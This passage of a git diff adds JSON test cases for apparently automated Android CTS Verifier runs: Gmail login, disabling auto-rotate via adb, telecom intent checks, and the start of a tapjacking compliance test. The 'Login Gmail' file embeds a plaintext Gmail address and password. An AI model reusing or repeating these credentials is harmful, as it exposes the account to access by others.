methods\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":2.0,\"y1\":607.0,\"x2\":218.0,\"y2\":631.0},\"scrollOrientation\":2,\"scrollMaxNumber\":5},{\"type\":\"ClickAction\",\"name\":\"Click Action, Set permitted input methods\",\"actionId\":\"1bc06881-a4b5-44fb-aba2-f853397c6504\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Set permitted input methods\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Dummy input method\",\"actionId\":\"068b7f82-0f8e-4565-8d49-5208872d629e\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Dummy input method\"}],\"childrenIdList\":[\"598cee73-f55c-406b-a47c-9a7d6280e299\",\"1bc06881-a4b5-44fb-aba2-f853397c6504\",\"5ee29e64-400f-4c6f-ba29-d9442740b560\",\"be00d800-5235-410e-a535-55a76d9200b9\",\"72a6fa67-df5f-4c18-849a-8212e749417e\",\"068b7f82-0f8e-4565-8d49-5208872d629e\",\"8003eafa-d92b-4571-ba71-a68648526e4f\",\"8b18fc23-789a-4c41-9746-297a040e35a7\",\"b50df53e-f816-49d2-b907-500f3f4f3b5a\",\"15aa571c-2e4d-43c0-b9c7-07b4f23041c4\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"15-28 &amp; 17-06-13-Set permitted input methods","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.163000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/23c5fa74-3416-4a41-84a9-3f348940a081 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/23c5fa74-3416-4a41-84a9-3f348940a081
new file mode 100644
index 0000000..7e23697
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/23c5fa74-3416-4a41-84a9-3f348940a081
@@ -0,0 +1 @@
+{"uuid":"23c5fa74-3416-4a41-84a9-3f348940a081","details":"{\"type\":\"CompoundAction\",\"name\":\"Login Gmail\",\"actionId\":\"23c5fa74-3416-4a41-84a9-3f348940a081\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"shareWith\":\"pololee\",\"childrenActions\":[{\"type\":\"ScreenContentValidationAction\",\"name\":\"If device doesn't login gmail, login one\",\"actionId\":\"43f39f90-af04-41bd-9598-2dca88842e3e\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Sign in\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_CURRENT_COMPOUND_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"25923476-f58d-4a0b-884e-a07213f7878a\",\"displayText\":\"Sign in\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.Button\",\"resourceId\":\"com.android.vending:id/0_resource_name_obfuscated\",\"text\":\"Sign in\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":127.33333333333333,\"y1\":506.3333333333333,\"x2\":232.33333333333334,\"y2\":538.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":176.5,\"y\":523.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":3.333333333333343,\"y\":-0.8333333333333712,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"25923476-f58d-4a0b-884e-a07213f7878a\",\"firstText\":\"Sign in\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Sign in\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":147.0,\"y1\":507.0,\"x2\":206.0,\"y2\":539.0}},{\"type\":\"ClickAction\",\"name\":\"Click Action, Sign in\",\"actionId\":\"93b326a5-dfaf-4b2d-a1b1-77accff4549c\",\"actionType\":\"CLICK_ACTION\",\"delayAfterActionMs\":2000,\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Sign in\"},{\"type\":\"WaitAction\",\"name\":\"WAIT 10 secs for login in screen appear\",\"actionId\":\"262b0041-1b7f-4693-8234-e77e477e0d26\",\"actionType\":\"WAIT_ACTION\",\"delayAfterActionMs\":10000,\"createdBy\":\"riacheltseng\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Next\",\"actionId\":\"43f19b3e-4148-4f62-a12b-8561389b41b2\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Next\"},{\"type\":\"ConditionValidationAction\",\"name\":\"Click the email input field\",\"actionId\":\"8e355a8c-a088-47cb-a072-41db7986fc74\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"or\",\"rules\":[{\"field\":\"class\",\"operator\":\"=\",\"value\":\"android.widget.EditText\"},{\"field\":\"resourceId\",\"operator\":\"=\",\"value\":\"identifierId\"}]},\"clickAfterValidation\":true},{\"type\":\"InputAction\",\"name\":\"INPUT Gmail account\",\"actionId\":\"000d4e9d-a5a0-4bb4-b2a8-60cf01d5f8fc\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":0,\"inputString\":\"$uicd_Gmail_account\",\"isSingleChar\":false},{\"type\":\"ClickAction\",\"name\":\"Click Action, Next\",\"actionId\":\"6903c0ac-4e5a-4c3b-a900-3af7169bc5e1\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Next\"},{\"type\":\"WaitAction\",\"name\":\"WAIT 10 secs for password field appear\",\"actionId\":\"9a41b29c-8a6b-4136-badf-8bc4ef2b84b4\",\"actionType\":\"WAIT_ACTION\",\"delayAfterActionMs\":10000,\"createdBy\":\"riacheltseng\"},{\"type\":\"InputAction\",\"name\":\"INPUT Gmail password\",\"actionId\":\"e9a48a59-75a7-4b27-bcd9-2b296d480d1b\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":0,\"inputString\":\"$uicd_Gmail_account_password\",\"isSingleChar\":false},{\"type\":\"ClickAction\",\"name\":\"Click Action, Next\",\"actionId\":\"60f49553-3897-49e4-86c4-abe876f83a2c\",\"actionType\":\"CLICK_ACTION\",\"delayAfterActionMs\":3000,\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Next\"},{\"type\":\"ConditionValidationAction\",\"name\":\"Click I agree button\",\"actionId\":\"ff40112a-1ad5-4a0b-bab6-76f46c290cbd\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"or\",\"rules\":[{\"field\":\"resourceId\",\"operator\":\"=\",\"value\":\"signinconsentNext\"},{\"field\":\"text\",\"operator\":\"=\",\"value\":\"I agree\"}]},\"clickAfterValidation\":true},{\"type\":\"WaitAction\",\"name\":\"WAIT 15 secs for gmail login\",\"actionId\":\"3ec0e582-5e05-4692-a3ab-b7e8b3db8a85\",\"actionType\":\"WAIT_ACTION\",\"delayAfterActionMs\":15000,\"createdBy\":\"riacheltseng\"}],\"childrenIdList\":[\"43f39f90-af04-41bd-9598-2dca88842e3e\",\"93b326a5-dfaf-4b2d-a1b1-77accff4549c\",\"262b0041-1b7f-4693-8234-e77e477e0d26\",\"43f19b3e-4148-4f62-a12b-8561389b41b2\",\"8e355a8c-a088-47cb-a072-41db7986fc74\",\"000d4e9d-a5a0-4bb4-b2a8-60cf01d5f8fc\",\"6903c0ac-4e5a-4c3b-a900-3af7169bc5e1\",\"9a41b29c-8a6b-4136-badf-8bc4ef2b84b4\",\"e9a48a59-75a7-4b27-bcd9-2b296d480d1b\",\"60f49553-3897-49e4-86c4-abe876f83a2c\",\"ff40112a-1ad5-4a0b-bab6-76f46c290cbd\",\"3ec0e582-5e05-4692-a3ab-b7e8b3db8a85\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"$uicd_Gmail_account=playinstallapk02@gmail.com,\\n$uicd_Gmail_account_password=@DoubleCare20,\"}}","name":"Login Gmail","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.138000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/2468d1f3-142c-41da-b713-09b253fe81f6 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/2468d1f3-142c-41da-b713-09b253fe81f6
new file mode 100644
index 0000000..bc013e7
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/2468d1f3-142c-41da-b713-09b253fe81f6
@@ -0,0 +1 @@
+{"uuid":"2468d1f3-142c-41da-b713-09b253fe81f6","details":"{\"type\":\"CompoundAction\",\"name\":\"Turn Auto-rotate off\",\"actionId\":\"2468d1f3-142c-41da-b713-09b253fe81f6\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"CommandLineAction\",\"name\":\"Turn Auto-rotate off\",\"actionId\":\"94d342c8-146c-4dd8-ab5a-e0e4c41c95bc\",\"actionType\":\"COMMAND_LINE_ACTION\",\"delayAfterActionMs\":1000,\"createdBy\":\"pololee\",\"commandLine\":\"shell settings put system accelerometer_rotation 0\",\"isAdbCommand\":true,\"expectedReturnCode\":\"0\",\"commandlineExecutionTimeoutSec\":5,\"needShellOutput\":false,\"uicdVariableName\":\"\"}],\"childrenIdList\":[\"94d342c8-146c-4dd8-ab5a-e0e4c41c95bc\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Turn Auto-rotate off","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.272000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/24c45902-8535-4376-b06f-88f06b115ca6 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/24c45902-8535-4376-b06f-88f06b115ca6
new file mode 100644
index 0000000..45e6124
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/24c45902-8535-4376-b06f-88f06b115ca6
@@ -0,0 +1 @@
+{"uuid":"24c45902-8535-4376-b06f-88f06b115ca6","details":"{\"type\":\"CompoundAction\",\"name\":\"test_System Implements Telecom Intents\",\"actionId\":\"24c45902-8535-4376-b06f-88f06b115ca6\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to \\\"System Implements Telecom Intents\\\"\",\"actionId\":\"9b46aacf-74c6-465e-bc72-3bb6956a0813\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"System Implements Telecom Intents\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"944f69c0-a365-4cf0-9184-cce85ec7463e\",\"displayText\":\"System Implements Telecom Intents\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"System Implements Telecom Intents\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":9.333333333333334,\"y1\":526.6666666666666,\"x2\":350.6666666666667,\"y2\":570.6666666666666},\"clickedPos\":{\"confidentLevel\":2,\"x\":135.0,\"y\":550.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":45.0,\"y\":-1.3333333333333712,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"944f69c0-a365-4cf0-9184-cce85ec7463e\",\"firstText\":\"System Implements Telecom Intents\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"System Implements Telecom Intents\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":10.0,\"y1\":536.0,\"x2\":260.0,\"y2\":564.0},\"scrollOrientation\":2,\"scrollMaxNumber\":30},{\"type\":\"ClickAction\",\"name\":\"Click Action, System Implements Telecom Intents\",\"actionId\":\"e14fde88-70be-4936-b9f7-c7b6fbeeb737\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"System Implements Telecom Intents\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, id/dialer_telecom_intents_call_settings\",\"actionId\":\"becda08b-0f75-44ba-b7f6-5679d51bc7d9\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/dialer_telecom_intents_call_settings\"},{\"type\":\"ConditionValidationAction\",\"name\":\"Check if \\\"call settings\\\" exists\",\"actionId\":\"6b8768ce-c922-4e3b-b7f6-00dcc2f374fd\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"text\",\"operator\":\"=\",\"value\":\"Call settings\"}]},\"clickAfterValidation\":false},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"944f0329-7a72-4d00-9af7-b52afe4681f4\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"pololee\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"ClickAction\",\"name\":\"Click Action, id/dialer_telecom_intents_call_settings_check_box\",\"actionId\":\"2a674f03-2e12-439e-bbe2-a7ad2d332df5\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/dialer_telecom_intents_call_settings_check_box\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, id/dialer_telecom_intents_short_sms\",\"actionId\":\"199eda30-0094-4f90-8b06-dfaa325ab59d\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/dialer_telecom_intents_short_sms\"},{\"type\":\"ConditionValidationAction\",\"name\":\"Check if \\\"short sms answer settings\\\" exists\",\"actionId\":\"d57b5d5d-cc96-4790-8fa6-3f1d376e6733\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"text\",\"operator\":\"=\",\"value\":\"Edit quick responses\"}]},\"clickAfterValidation\":false},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"f5b49123-d91e-4b7c-b5c3-87ed17511b82\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"pololee\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"ClickAction\",\"name\":\"Click Action, id/dialer_telecom_intents_short_sms_check_box\",\"actionId\":\"a7745177-dc5e-4c75-97cf-35cd233dd694\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/dialer_telecom_intents_short_sms_check_box\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, id/dialer_telecom_intents_calling_accounts\",\"actionId\":\"e6bf15e0-d462-4a53-9d74-9c7c6e4d809e\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/dialer_telecom_intents_calling_accounts\"},{\"type\":\"ConditionValidationAction\",\"name\":\"Check if \\\"calling accounts settings\\\"\",\"actionId\":\"89c55858-5755-43aa-b923-2f06c9de79b5\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"text\",\"operator\":\"=\",\"value\":\"Calling accounts\"}]},\"clickAfterValidation\":false},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"d37a2265-f4d4-4836-9f94-f8a189327ba8\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"pololee\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"ClickAction\",\"name\":\"Click Action, id/dialer_telecom_intents_calling_accounts_check_box\",\"actionId\":\"60d1b49a-c29d-4c6d-b585-3538a0a8aa98\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/dialer_telecom_intents_calling_accounts_check_box\"},{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to \\\"Launch accessibility settings\\\"\",\"actionId\":\"2e226b60-0748-4ddc-9c57-cd39ce0432f7\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Launch accessibility settings\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"e37dc367-1dd2-4cba-bb3f-2eca1767bd39\",\"displayText\":\"Launch accessibility settings\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"905e119c-ed81-4828-9d8b-d58b4453932f\",\"displayText\":\"Launch accessibility settings\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.Button\",\"resourceId\":\"com.android.cts.verifier:id/dialer_telecom_intents_accessibility_settings\",\"text\":\"Launch accessibility settings\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":9.333333333333334,\"y1\":576.0,\"x2\":204.33333333333334,\"y2\":620.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":-2.166666666666657,\"y\":-3.5,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Launch accessibility settings\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":9.333333333333334,\"y1\":576.0,\"x2\":204.33333333333334,\"y2\":620.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":109.0,\"y\":601.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":-2.166666666666657,\"y\":-3.5,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"leafNodeContext\":\"905e119c-ed81-4828-9d8b-d58b4453932f\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Launch accessibility settings\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":17.0,\"y1\":589.0,\"x2\":201.0,\"y2\":614.0},\"scrollOrientation\":2,\"scrollMaxNumber\":30},{\"type\":\"ClickAction\",\"name\":\"Click Action, id/dialer_telecom_intents_accessibility_settings\",\"actionId\":\"7d59d625-d65a-4c25-9f67-52f73f2855b5\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/dialer_telecom_intents_accessibility_settings\"},{\"type\":\"ConditionValidationAction\",\"name\":\"Check if \\\"accessibility settings\\\" exists\",\"actionId\":\"c81996b6-ea53-42c6-84f8-f8248b8d0c41\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"text\",\"operator\":\"=\",\"value\":\"Accessibility\"}]},\"clickAfterValidation\":false},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"8457afe0-f61a-404d-a540-540eed8f6967\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"pololee\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"ClickAction\",\"name\":\"Click Action, id/dialer_telecom_intents_accessibility_settings_check_box\",\"actionId\":\"54c41f42-e372-43aa-ae71-cb2d0e03df50\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/dialer_telecom_intents_accessibility_settings_check_box\"},{\"type\":\"SwipeAction\",\"name\":\"up\",\"actionId\":\"b50e5fad-7d50-4799-b640-1a31b7c4402a\",\"actionType\":\"SWIPE_ACTION\",\"delayAfterActionMs\":2000,\"createdBy\":\"pololee\",\"startX\":180,\"startY\":620,\"endX\":180,\"endY\":320,\"startPointNodeContext\":null,\"endPointNodeContext\":null}],\"childrenIdList\":[\"863293b0-236f-46c2-9707-f3bf141fc9f8\",\"9b46aacf-74c6-465e-bc72-3bb6956a0813\",\"e14fde88-70be-4936-b9f7-c7b6fbeeb737\",\"1601f323-e824-4190-9ee0-350f0a1149ea\",\"becda08b-0f75-44ba-b7f6-5679d51bc7d9\",\"6b8768ce-c922-4e3b-b7f6-00dcc2f374fd\",\"944f0329-7a72-4d00-9af7-b52afe4681f4\",\"2a674f03-2e12-439e-bbe2-a7ad2d332df5\",\"199eda30-0094-4f90-8b06-dfaa325ab59d\",\"d57b5d5d-cc96-4790-8fa6-3f1d376e6733\",\"f5b49123-d91e-4b7c-b5c3-87ed17511b82\",\"a7745177-dc5e-4c75-97cf-35cd233dd694\",\"e6bf15e0-d462-4a53-9d74-9c7c6e4d809e\",\"89c55858-5755-43aa-b923-2f06c9de79b5\",\"d37a2265-f4d4-4836-9f94-f8a189327ba8\",\"60d1b49a-c29d-4c6d-b585-3538a0a8aa98\",\"2e226b60-0748-4ddc-9c57-cd39ce0432f7\",\"7d59d625-d65a-4c25-9f67-52f73f2855b5\",\"c81996b6-ea53-42c6-84f8-f8248b8d0c41\",\"8457afe0-f61a-404d-a540-540eed8f6967\",\"54c41f42-e372-43aa-ae71-cb2d0e03df50\",\"b50e5fad-7d50-4799-b640-1a31b7c4402a\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"$uicd_null=null,\"}}","name":"test_System Implements Telecom Intents","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.284000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/24e3e587-1271-4917-a395-3feff520ca73 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/24e3e587-1271-4917-a395-3feff520ca73
new file mode 100644
index 0000000..f4085be
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/24e3e587-1271-4917-a395-3feff520ca73
@@ -0,0 +1 @@
+{"uuid":"24e3e587-1271-4917-a395-3feff520ca73","details":"{\"type\":\"CompoundAction\",\"name\":\"test_Device Admin Tapjacking Test\",\"actionId\":\"24e3e587-1271-4917-a395-3feff520ca73\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Device Admin Tapjacking Test\",\"actionId\":\"76c72c4e-c28d-4b25-b0fd-a698e62989d5\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Device Admin Tapjacking Test\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"0d232d2f-1779-455f-a305-a9046ba58e10\",\"displayText\":\"Device Admin Tapjacking Test\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Device Admin Tapjacking Test\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":8.75,\"y1\":486.5,\"x2\":351.25,\"y2\":528.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":107.5,\"y\":511.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":72.5,\"y\":-3.5,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"0d232d2f-1779-455f-a305-a9046ba58e10\",\"firstText\":\"Device Admin Tapjacking Test\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Device Admin Tapjacking Test\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":11.0,\"y1\":493.0,\"x2\":204.0,\"y2\":529.0},\"scrollOrientation\":2,\"scrollMaxNumber\":30},{\"type\":\"ClickAction\",\"name\":\"Click Action, Device Admin Tapjacking 